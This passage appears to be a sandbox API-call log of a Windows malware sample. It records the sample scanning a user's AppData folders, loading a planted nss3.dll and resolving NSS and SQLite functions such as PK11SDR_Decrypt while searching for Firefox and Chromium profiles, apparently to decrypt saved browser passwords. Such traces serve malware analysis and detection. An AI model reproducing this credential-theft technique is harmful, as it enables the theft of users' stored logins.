nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0264.579] lstrcmpW (lpString1="Templates", lpString2="User Data") returned -1 [0264.579] StrStrW (lpFirst="Templates", lpSrch="pera ") returned 0x0 [0264.579] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0264.579] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xef632f84, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1 [0264.579] lstrcmpW (lpString1="Themes", lpString2="User Data") returned -1 [0264.579] StrStrW (lpFirst="Themes", lpSrch="pera ") returned 0x0 [0264.579] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Windows") returned 52 [0264.580] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xef632f84, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 0 [0264.580] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.580] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 1 [0264.580] lstrcmpW (lpString1="Word", lpString2="User Data") returned 1 [0264.580] StrStrW (lpFirst="Word", lpSrch="pera ") returned 0x0 [0264.580] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft") returned 44 [0264.580] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\word\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.580] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.581] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.581] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.581] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.581] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.581] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 1 [0264.581] lstrcmpW (lpString1="STARTUP", lpString2="User Data") returned -1 [0264.581] StrStrW (lpFirst="STARTUP", lpSrch="pera ") returned 0x0 [0264.581] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Word") returned 49 [0264.581] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STARTUP", cAlternateFileName="")) returned 0 [0264.581] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.581] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x286ff470, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x286ff470, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x286ff470, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 0 [0264.581] FindClose (in: hFindFile=0x6ca440 | out: hFindFile=0x6ca440) returned 1 [0264.581] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54c5a5f0, ftCreationTime.dwHighDateTime=0x1d898c8, ftLastAccessTime.dwLowDateTime=0xde657af0, ftLastAccessTime.dwHighDateTime=0x1d8a61b, ftLastWriteTime.dwLowDateTime=0xde657af0, ftLastWriteTime.dwHighDateTime=0x1d8a61b, nFileSizeHigh=0x0, nFileSizeLow=0x14393, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="OGxRDj.wav", cAlternateFileName="")) returned 1 [0264.581] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa61402d0, ftCreationTime.dwHighDateTime=0x1d8a129, ftLastAccessTime.dwLowDateTime=0x62555970, ftLastAccessTime.dwHighDateTime=0x1d8a5f9, ftLastWriteTime.dwLowDateTime=0x62555970, ftLastWriteTime.dwHighDateTime=0x1d8a5f9, nFileSizeHigh=0x0, nFileSizeLow=0xcff7, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="oLsj2.png", cAlternateFileName="")) returned 1 [0264.581] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6eb021f0, ftCreationTime.dwHighDateTime=0x1d897f8, ftLastAccessTime.dwLowDateTime=0x132650e0, ftLastAccessTime.dwHighDateTime=0x1d89c29, ftLastWriteTime.dwLowDateTime=0x132650e0, ftLastWriteTime.dwHighDateTime=0x1d89c29, nFileSizeHigh=0x0, nFileSizeLow=0xb5f1, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="pebS39q9vzkDEPFYkz.ods", cAlternateFileName="PEBS39~1.ODS")) returned 1 [0264.581] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x898086b0, ftCreationTime.dwHighDateTime=0x1d89cf2, ftLastAccessTime.dwLowDateTime=0xc4ef8ff0, ftLastAccessTime.dwHighDateTime=0x1d8a18b, ftLastWriteTime.dwLowDateTime=0xc4ef8ff0, ftLastWriteTime.dwHighDateTime=0x1d8a18b, nFileSizeHigh=0x0, nFileSizeLow=0x55ba, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="PNMdK3mpgtNb52te7W.mp3", cAlternateFileName="PNMDK3~1.MP3")) returned 1 [0264.581] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x92b65a40, ftCreationTime.dwHighDateTime=0x1d8a623, ftLastAccessTime.dwLowDateTime=0xdd6bd1e0, ftLastAccessTime.dwHighDateTime=0x1d8a68d, ftLastWriteTime.dwLowDateTime=0xdd6bd1e0, ftLastWriteTime.dwHighDateTime=0x1d8a68d, nFileSizeHigh=0x0, nFileSizeLow=0xd00, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="qeSthG-ldt2d_Fn5GQ.xls", cAlternateFileName="QESTHG~1.XLS")) returned 1 [0264.581] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x76707550, ftCreationTime.dwHighDateTime=0x1d8994e, ftLastAccessTime.dwLowDateTime=0x17f84750, ftLastAccessTime.dwHighDateTime=0x1d89ec6, ftLastWriteTime.dwLowDateTime=0x17f84750, ftLastWriteTime.dwHighDateTime=0x1d89ec6, nFileSizeHigh=0x0, nFileSizeLow=0x13940, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="rc0egV5-0xFuAD32d.ods", cAlternateFileName="RC0EGV~1.ODS")) returned 1 [0264.581] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x429fcb80, ftCreationTime.dwHighDateTime=0x1d897ab, ftLastAccessTime.dwLowDateTime=0x62c73650, ftLastAccessTime.dwHighDateTime=0x1d8a020, ftLastWriteTime.dwLowDateTime=0x62c73650, ftLastWriteTime.dwHighDateTime=0x1d8a020, nFileSizeHigh=0x0, nFileSizeLow=0xab7c, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="RxbmZ-ivCPnLjdbmU.xls", cAlternateFileName="RXBMZ-~1.XLS")) returned 1 [0264.582] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa754a00, ftCreationTime.dwHighDateTime=0x1d89864, ftLastAccessTime.dwLowDateTime=0x81b88210, ftLastAccessTime.dwHighDateTime=0x1d8a527, ftLastWriteTime.dwLowDateTime=0x81b88210, ftLastWriteTime.dwHighDateTime=0x1d8a527, nFileSizeHigh=0x0, nFileSizeLow=0xeb90, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="S3J8TnVdB.pps", cAlternateFileName="S3J8TN~1.PPS")) returned 1 [0264.582] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8120db0, ftCreationTime.dwHighDateTime=0x1d89b3f, ftLastAccessTime.dwLowDateTime=0x88062210, ftLastAccessTime.dwHighDateTime=0x1d8a1dc, ftLastWriteTime.dwLowDateTime=0x88062210, ftLastWriteTime.dwHighDateTime=0x1d8a1dc, nFileSizeHigh=0x0, nFileSizeLow=0xbe32, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="Uy4GFW7nQivs9nvAeBx.jpg", cAlternateFileName="UY4GFW~1.JPG")) returned 1 [0264.582] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3551b380, ftCreationTime.dwHighDateTime=0x1d8a034, ftLastAccessTime.dwLowDateTime=0x1b966e90, ftLastAccessTime.dwHighDateTime=0x1d8a359, ftLastWriteTime.dwLowDateTime=0x1b966e90, ftLastWriteTime.dwHighDateTime=0x1d8a359, nFileSizeHigh=0x0, nFileSizeLow=0x6950, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="V_DbMhsbPw.flv", cAlternateFileName="V_DBMH~1.FLV")) returned 1 [0264.582] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed7fff10, ftCreationTime.dwHighDateTime=0x1d8a715, ftLastAccessTime.dwLowDateTime=0x4e6890c0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x4e6890c0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="y0WJ52L8tQh_.jpg", cAlternateFileName="Y0WJ52~1.JPG")) returned 1 [0264.582] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7e52780, ftCreationTime.dwHighDateTime=0x1d89a4c, ftLastAccessTime.dwLowDateTime=0x499dd3f0, ftLastAccessTime.dwHighDateTime=0x1d8a570, ftLastWriteTime.dwLowDateTime=0x499dd3f0, ftLastWriteTime.dwHighDateTime=0x1d8a570, nFileSizeHigh=0x0, nFileSizeLow=0x26b0, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="YC 0_vsD.pdf", cAlternateFileName="YC0_VS~1.PDF")) returned 1 [0264.582] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1fd1ed0, ftCreationTime.dwHighDateTime=0x1d8a14d, ftLastAccessTime.dwLowDateTime=0x5c0af440, ftLastAccessTime.dwHighDateTime=0x1d8a553, ftLastWriteTime.dwLowDateTime=0x5c0af440, ftLastWriteTime.dwHighDateTime=0x1d8a553, nFileSizeHigh=0x0, nFileSizeLow=0xf38e, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="YPNiaah3.mp3", cAlternateFileName="")) returned 1 [0264.582] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38236580, ftCreationTime.dwHighDateTime=0x1d8a5e4, ftLastAccessTime.dwLowDateTime=0x1cb75af0, ftLastAccessTime.dwHighDateTime=0x1d8a6a6, ftLastWriteTime.dwLowDateTime=0x1cb75af0, ftLastWriteTime.dwHighDateTime=0x1d8a6a6, nFileSizeHigh=0x0, nFileSizeLow=0xbefa, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="Z743XvLxgzIYUtavkp--.avi", cAlternateFileName="Z743XV~1.AVI")) returned 1 [0264.582] FindNextFileW (in: hFindFile=0x6ca480, lpFindFileData=0x24f8b0 | out: lpFindFileData=0x24f8b0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x38236580, ftCreationTime.dwHighDateTime=0x1d8a5e4, ftLastAccessTime.dwLowDateTime=0x1cb75af0, ftLastAccessTime.dwHighDateTime=0x1d8a6a6, ftLastWriteTime.dwLowDateTime=0x1cb75af0, ftLastWriteTime.dwHighDateTime=0x1d8a6a6, nFileSizeHigh=0x0, nFileSizeLow=0xbefa, dwReserved0=0xa0000003, dwReserved1=0x2000002, cFileName="Z743XvLxgzIYUtavkp--.avi", cAlternateFileName="Z743XV~1.AVI")) returned 0 [0264.582] FindClose (in: hFindFile=0x6ca480 | out: hFindFile=0x6ca480) returned 1 [0264.583] LocalFree (hMem=0x690af8) returned 0x0 [0264.583] LocalFree (hMem=0x690d28) returned 0x0 [0264.583] LoadLibraryW (lpLibFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\nss3.dll") returned 0x71c40000 [0264.723] GetCurrentProcess () returned 0xffffffff [0264.801] GetCurrentProcess () returned 0xffffffff [0265.156] GetCurrentProcess () returned 0xffffffff [0265.241] GetCurrentProcess () returned 0xffffffff [0265.587] GetCurrentProcess () returned 0xffffffff [0265.833] GetCurrentProcess () returned 0xffffffff [0265.878] GetCurrentProcess () returned 0xffffffff [0266.016] GetCurrentProcess () returned 0xffffffff [0266.021] GetCurrentProcess () returned 0xffffffff [0266.090] GetCurrentProcess () returned 0xffffffff [0266.091] GetCurrentProcess () returned 0xffffffff [0266.106] GetCurrentProcess () returned 0xffffffff [0266.124] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0266.125] _initialize_onexit_table (_Table=0x71c333a4) returned 0 [0266.125] _initialize_onexit_table (_Table=0x71c333b0) returned 0 [0266.125] RtlInitializeSListHead (in: ListHead=0x71c33718 | out: ListHead=0x71c33718) [0266.125] GetModuleHandleW (lpModuleName="api-ms-win-core-synch-l1-2-0.dll") returned 0x734f0000 [0266.126] GetProcAddress (hModule=0x734f0000, lpProcName="InitializeConditionVariable") returned 0x76f38456 [0266.126] GetProcAddress (hModule=0x734f0000, lpProcName="SleepConditionVariableCS") returned 0x753450d2 [0266.127] GetProcAddress (hModule=0x734f0000, lpProcName="WakeAllConditionVariable") returned 0x76f6409d [0266.127] RtlInitializeConditionVariable () returned 0x71c33388 [0266.127] _register_onexit_function (_Table=0x71c333a4, _Function=0x71be2410) returned 0 [0266.127] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0266.127] _register_onexit_function (_Table=0x71c333a4, _Function=0x71c222f0) returned 0 [0266.128] RtlInitializeConditionVariable () returned 0x71c34438 [0266.128] _register_onexit_function (_Table=0x71c333a4, _Function=0x71c20cc0) returned 0 [0266.128] RtlInitializeConditionVariable () returned 0x71c344dc [0266.128] _register_onexit_function (_Table=0x71c333a4, _Function=0x71c07430) returned 0 [0266.129] getenv (_VarName="MOZ_TIMESTAMP_MODE") returned 0x0 [0266.134] QueryPerformanceFrequency (in: lpFrequency=0x24f6a0 | out: lpFrequency=0x24f6a0*=100000000) returned 1 [0266.134] _strnicmp (_Str1="GenuntelineI", _Str="GenuntelineI", _MaxCount=0xc) returned 0 [0266.134] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x24f6b0, lpTimeIncrement=0x24f6ac, lpTimeAdjustmentDisabled=0x24f6a8 | out: lpTimeAdjustment=0x24f6b0, lpTimeIncrement=0x24f6ac, lpTimeAdjustmentDisabled=0x24f6a8) returned 1 [0266.134] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020068349) returned 1 [0266.134] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020081945) returned 1 [0266.134] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020095024) returned 1 [0266.134] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020108442) returned 1 [0266.134] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020125538) returned 1 [0266.135] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020139374) returned 1 [0266.135] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020152565) returned 1 [0266.135] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020166115) returned 1 [0266.135] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020179200) returned 1 [0266.135] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020192924) returned 1 [0266.135] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020205930) returned 1 [0266.135] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020218898) returned 1 [0266.135] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020232381) returned 1 [0266.136] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020246639) returned 1 [0266.136] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895020280210) returned 1 [0266.147] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895021345497) returned 1 [0266.147] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895021360992) returned 1 [0266.147] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895021374128) returned 1 [0266.147] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895021386952) returned 1 [0266.147] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895021399936) returned 1 [0266.148] QueryPerformanceCounter (in: lpPerformanceCount=0x24f6b0 | out: lpPerformanceCount=0x24f6b0*=1895021440496) returned 1 [0266.148] GetTickCount64 () returned 0x11f209b [0266.148] getenv (_VarName="MOZ_APP_RESTART") returned 0x0 [0266.148] GetCurrentProcess () returned 0xffffffff [0266.148] GetProcessTimes (in: hProcess=0xffffffff, lpCreationTime=0x24f6c4, lpExitTime=0x24f6bc, lpKernelTime=0x24f6b4, lpUserTime=0x24f6ac | out: lpCreationTime=0x24f6c4, lpExitTime=0x24f6bc, lpKernelTime=0x24f6b4, lpUserTime=0x24f6ac) returned 1 [0266.148] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x752b0000 [0266.149] GetProcAddress (hModule=0x752b0000, lpProcName=0x71c26de5) returned 0x0 [0266.149] FreeLibrary (hLibModule=0x752b0000) returned 1 [0266.149] RtlWakeAllConditionVariable () returned 0x0 [0266.149] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f6a4 | out: lpSystemTimeAsFileTime=0x24f6a4*(dwLowDateTime=0x9ab6b1c0, dwHighDateTime=0x1d8a8cd)) [0266.149] LoadLibraryW (lpLibFileName="KernelBase.dll") returned 0x753c0000 [0266.150] GetProcAddress (hModule=0x753c0000, lpProcName="QueryInterruptTime") returned 0x0 [0266.150] FreeLibrary (hLibModule=0x753c0000) returned 1 [0266.150] RtlWakeAllConditionVariable () returned 0x0 [0266.150] QueryPerformanceCounter (in: lpPerformanceCount=0x24f5d0 | out: lpPerformanceCount=0x24f5d0*=1895021653188) returned 1 [0266.150] GetTickCount64 () returned 0x11f209b [0266.153] QueryUnbiasedInterruptTime (in: UnbiasedTime=0x24f6b0 | out: UnbiasedTime=0x24f6b0) returned 1 [0266.153] _register_onexit_function (_Table=0x71c333a4, _Function=0x71c0b990) returned 0 [0266.153] _register_onexit_function (_Table=0x71c333a4, _Function=0x71c0ea50) returned 0 [0266.153] _register_onexit_function (_Table=0x71c333a4, _Function=0x71c0ea60) returned 0 [0266.153] GetSystemInfo (in: lpSystemInfo=0x24f738 | out: lpSystemInfo=0x24f738*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0266.154] VirtualAlloc (lpAddress=0xf0de0000, dwSize=0x10000, flAllocationType=0x2000, flProtect=0x1) returned 0x0 [0266.154] GetSystemInfo (in: lpSystemInfo=0x24f738 | out: lpSystemInfo=0x24f738*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0266.154] DisableThreadLibraryCalls (hLibModule=0x71ba0000) returned 0 [0266.154] LoadLibraryExW (lpLibFileName="cryptbase.dll", hFile=0x0, dwFlags=0x800) returned 0x74a40000 [0266.155] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0266.156] _initialize_onexit_table (_Table=0x71e2096c) returned 0 [0266.156] _initialize_onexit_table (_Table=0x71e20978) returned 0 [0266.156] RtlInitializeSListHead (in: ListHead=0x71e20958 | out: ListHead=0x71e20958) [0266.156] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0266.158] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6bf278 [0266.158] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6bf278, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.158] GetProcAddress (hModule=0x71c40000, lpProcName="NSS_Init") returned 0x71cda7f0 [0266.159] GetProcAddress (hModule=0x71c40000, lpProcName="NSS_Shutdown") returned 0x71cdba10 [0266.159] GetProcAddress (hModule=0x71c40000, lpProcName="PK11_GetInternalKeySlot") returned 0x71d13540 [0266.159] GetProcAddress (hModule=0x71c40000, lpProcName="PK11_FreeSlot") returned 0x71d12b70 [0266.159] GetProcAddress (hModule=0x71c40000, lpProcName="PK11_Authenticate") returned 0x71cecee0 [0266.160] GetProcAddress (hModule=0x71c40000, lpProcName="PK11SDR_Decrypt") returned 0x71d0e270 [0266.160] GetProcAddress (hModule=0x71c40000, lpProcName="SECITEM_FreeItem") returned 0x71cdc070 [0266.160] GetProcAddress (hModule=0x71c40000, lpProcName="sqlite3_open16") returned 0x71d9da30 [0266.160] GetProcAddress (hModule=0x71c40000, lpProcName="sqlite3_prepare_v2") returned 0x71cbb910 [0266.161] GetProcAddress (hModule=0x71c40000, lpProcName="sqlite3_step") returned 0x71c48060 [0266.161] GetProcAddress (hModule=0x71c40000, lpProcName="sqlite3_column_bytes16") returned 0x71cbc050 [0266.161] GetProcAddress (hModule=0x71c40000, lpProcName="sqlite3_column_text16") returned 0x71c424b0 [0266.161] GetProcAddress (hModule=0x71c40000, lpProcName="sqlite3_finalize") returned 0x71c47560 [0266.161] GetProcAddress (hModule=0x71c40000, lpProcName="sqlite3_close") returned 0x71cb8710 [0266.162] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\*"), lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x96360130, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96360130, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0266.162] lstrcmpW (lpString1=".", lpString2="Profiles") returned -1 [0266.162] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x96360130, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96360130, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x76f33ca3, cFileName="..", cAlternateFileName="")) returned 1 [0266.162] lstrcmpW (lpString1="..", lpString2="Profiles") returned -1 [0266.162] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f6d8 | out: lpFindFileData=0x24f6d8*(dwFileAttributes=0x2020, 